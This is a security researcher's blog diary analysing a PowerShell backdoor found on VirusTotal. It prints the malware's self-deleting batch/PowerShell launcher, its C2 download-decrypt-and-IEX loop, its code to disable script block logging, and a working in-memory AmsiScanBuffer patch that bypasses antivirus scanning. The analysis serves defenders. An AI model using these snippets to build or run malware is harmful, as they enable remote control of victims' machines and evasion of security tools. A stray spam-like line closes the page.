Threat Level: green Handler on Duty: Xavier Mertens

SANS ISC: SANS Internet Storm Center SANS Internet Storm Center


Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

Latest Diaries

Live Patching Windows API Calls Using PowerShell

Published: 2020-11-25
Last Updated: 2020-11-25 08:00:57 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

It's amazing how attackers can be imaginative when it comes to protecting themselves and preventing security controls to do their job. Here is an example of a malicious PowerShell script that patches live a DLL function to change the way it works (read: "to make it NOT work"). This is not a new technique but it has been a while that I did not find it so, it deserves a quick review.

The original script has been spotted on Virustotal (SHA256:b2598b28b19d0f7e705535a2779018ecf1b73954c065a3d721589490d068fb54)[1] with a nice low score (3/60). The original file is interesting because it's a "bat" command line script and a PowerShell script at the same time:

# 2>NUL & @CLS & PUSHD "%~dp0" & "%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -noProfile -ExecutionPolicy bypass "[IO.File]::ReadAllText('%~f0')|iex" & DEL "%~f0" & POPD /B

The environment variable '%~f0' will expand to the complete path of the script (ex: "C:\Temp\malicious.bat"). It is passed to PowerShell which will ignore the first line (starting with the '#'). The script will be deleted once PowerShell completed. Note, '%~dp0' will expand to the drive letter and path of that batch file.

The script itself is obfuscated inside a Base64-encoded string. First, it's a backdoor that tries to execute commands returned by the contacted C2 server. The HTTP connection is built in a specific way to talk to the server:

It requires a specific User-Agent:

$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
$eBdd.HEadeRS.ADd('User-Agent',$u);

It tries to connect through the proxy configured in the system:

$EBdD.Proxy=[SYsTeM.NEt.WEBREqUeSt]::DeFAULtWEbProxY;
$ebdd.ProxY.CreDeNTIALS = [SyStEM.Net.CredeNTiAlCAche]::DeFauLTNETWoRKCreDeNtIalS;

A cookie is required:

$eBdd.HeAdErs.Add("Cookie","session=i9jI6+TRpy75U2v68M56EtGXOWE=");

The C2 address is obfuscated:

$ser=$([TEXT.EncoDing]::UNicODe.GEtSTrInG([ConvERT]::FRoMBAsE64STriNG('aAB0AHQAcAA6AC8ALwAzAC4AMQAyADgALgAxADAANwAuADcANAA6ADEANQA0ADMAMAA=')));
$t='/admin/get.php';
$daTa=$eBdD.DoWnLoadDaTA($seR+$T);

The C2 server is hxxp://3.128.107.74:15430/admin/get.php.

Data received by the C2 are decrypted and executed via Invoke-Command (so, we expect PowerShell code)

$K=[SysteM.TExt.EncOdiNG]::ASCII.GeTBytEs('827ccb0eea8a706c4c34a16891f84e7b');
$R={
    $D,$K=$ARgS;$S=0..255;0..255|%{
        $J=($J+$S[$_]+$K[$_%$K.CounT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;
        $H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];
        $_-bXOr$S[($S[$I]+$S[$H])%256]
    }
};

$Iv=$daTa[0..3];
$DAtA=$data[4..$DAtA.lenGtH];
-JoiN[CHAr[]](& $R $DatA ($IV+$K))|IEX

But the most interesting part of the script was the technique implemented to prevent the PowerShell script to be blocked by the antivirus.

First, it tries to disable ScriptBlockLogging[2]:

$vaL=[CollECtionS.GEnErIC.DiCTIONarY[StrING,SysteM.ObjEct]]::nEW();
$Val.AdD('EnableScriptB'+'lockLogging',0);
$VAl.AdD('EnableScriptBlockInvocationLogging',0);
$b399['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$vaL

Then, it tries to disable the API call AmsiScanBuffer() provided by amsi.dll. How? By patching the function and overwriting the beginning of the code with a simple return code to disable the function:

$MethodDefinition = "
  [DllImport(`"kernel32`")]public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
  [DllImport(`"kernel32`")]public static extern IntPtr GetModuleHandle(string lpModuleName);
  [DllImport(`"kernel32`")]public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
";
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
$ABSD = 'AmsiS'+'canBuffer';
$handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll');
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ABSD);
[UInt32]$Size = 0x5;
[UInt32]$ProtectFlag = 0x40;
[UInt32]$OldProtectFlag = 0;
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);
[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6); 

Step 1: the script tries to locate the address of the function AmsiScanBuffer() in memory. To achieve this, it used the classic combination of GetModuleHandle() and GetProcAddress(). 

Step 2: the memory protection (where starts the function) is changed to allow writing executable code (the key flag is 0x40 or 'PAGE_EXECUTE_READWRITE')

Step 3: the memory location is overwritten with a buffer of six bytes: 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3.

This suite of bytes is the following code:

0x0000000000000000:  B8 57 00 07 80    mov eax, 0x80070057
0x0000000000000005:  C3                ret 

The value 0x80070057 is placed into the EAX register (which is used to hold the return value of the function). This value is 'E_INVALIDARG'. Then, the function immediately returns to the caller with the 'ret' instruction. This technique implements the bypass of the antivirus scan...

As I said, this technique is not new and has already been discussed previously (around 2019) but it's interesting to see how attackers re-use always and always good old techniques.

The fun part of the backdoor? I was not able to connect to it. The C2 seems to be an SSH server. Or did I miss something?

$ curl -v -A 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' -H 'Cookie: session=i9jI6+TRpy75U2v68M56EtGXOWE=' hxxp://3[.]128[.]107[.]74:15430/admin/get.php
*   Trying 3[.]128[.]107[.]74...
* TCP_NODELAY set
* Connected to 3[.]128[.]107[.]74 (3[.]128[.]107[.]74) port 15430 (#0)
> GET /admin/get.php HTTP/1.1
> Host: 3[.]128[.]107[.]74:15430
> User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
> Referer: http://www.google.com/search?hl=en&q=web&aq=f&oq=&aqi=g1
> Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
> Accept-Language: en-us
> Connection: Keep-Alive
> Cookie: session=i9jI6+TRpy75U2v68M56EtGXOWE=
>
SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u6
Protocol mismatch.
* Closing connection 0

[1] https://www.virustotal.com/gui/file/b2598b28b19d0f7e705535a2779018ecf1b73954c065a3d721589490d068fb54/detection
[2] https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7.1
[3] https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)

If you have more information or corrections regarding our diary, please share.

Recent Diaries

The special case of TCP RST
Nov 24th 2020
23 hours ago by Johannes (0 comments)

Quick Tip: Cobalt Strike Beacon Analysis
Nov 23rd 2020
2 days ago by DidierStevens (0 comments)

Quick Tip: Extracting all VBA Code from a Maldoc - JSON Format
Nov 22nd 2020
2 days ago by DidierStevens (0 comments)

Malicious Python Code and LittleSnitch Detection
Nov 20th 2020
5 days ago by Xme (0 comments)

PowerShell Dropper Delivering Formbook
Nov 19th 2020
6 days ago by Xme (0 comments)

When Security Controls Lead to Security Issues
Nov 18th 2020
1 week ago by Xme (0 comments)

View All Diaries →

Latest Discussions

Port 23 & 2323 107.173.58.179
created Nov 15th 2020
1 week ago by Anonymous (0 replies)

Gmail hacked vis MS Outlook / request.zip virus/malware
created Oct 13th 2020
1 month ago by Anonymous (3 replies)

Why is the entire community so... I don't know the words...
created Sep 8th 2020
2 months ago by Everseeker (0 replies)

I can not find the Bluetooth channel!
created Aug 31st 2020
2 months ago by Martin (0 replies)

Fellow Cyber Security Pro's, where do you get your regular feeds of information?
created Aug 11th 2020
3 months ago by Anonymous (0 replies)

View All Forums →

Latest News

Top Diaries

An infection from Rig exploit kit
Jun 17th 2019
1 year ago by Brad (0 comments)

Old Worm But New Obfuscation Technique
Nov 13th 2020
1 week ago by Xme (0 comments)

AV Cleaned Maldoc
Nov 2nd 2020
3 weeks ago by DidierStevens (0 comments)

Open Packaging Conventions
Oct 10th 2020
1 month ago by DidierStevens (0 comments)

Traffic Analysis Quiz: Ugly-Wolf.net
Oct 16th 2020
1 month ago by Brad (0 comments)

send lots of email to money@stifortunes.com